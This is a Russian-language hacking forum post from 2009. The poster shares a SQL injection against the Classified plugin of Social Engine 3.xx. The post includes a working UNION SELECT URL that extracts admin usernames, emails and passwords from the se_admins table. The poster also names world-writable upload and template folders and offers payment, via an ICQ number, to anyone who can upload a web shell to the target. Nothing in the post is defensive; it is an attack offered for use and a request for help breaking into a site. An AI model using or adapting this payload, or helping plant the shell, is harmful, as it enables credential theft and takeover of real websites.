Social Engine SQL инекция !

Social Engine SQL инекция !

18.01.2009, 16:52

eworld.uz

Познающий

Регистрация: 18.01.2008

Сообщений: 31

С нами: 9638234

Репутация: 13

Social Engine SQL инекция !

В движке Social Engine версия 3.хх на плагине Сlassified есть SQL инекция !

Вот sql инекция :

PHP код:


		
			
http://sitename.ru/browse_classifieds.php?s=classified_date DESC&v=0&classifiedcat_id=-1+UNION SELECT concat(admin_username,admin_email,0x3a,admin_password)

,2,3+from+se_admins

Как залить шелл ? Помогите друзья !

Вот это скрин таблицы se_admins

CHMOD 777 стоит в папках http://sitename.ru/uploads_user

и на http://sitename.ru/include/smarty/templates_c

Помогите друзья залить ШЕЛЛ кто сможет залить шелл стучите плиз на аску 405-801-351 в долгу не останусь

𝕏 Twitter Reddit Telegram Копировать ссылку

Внести депозит

Депозит создан

Вывести депозит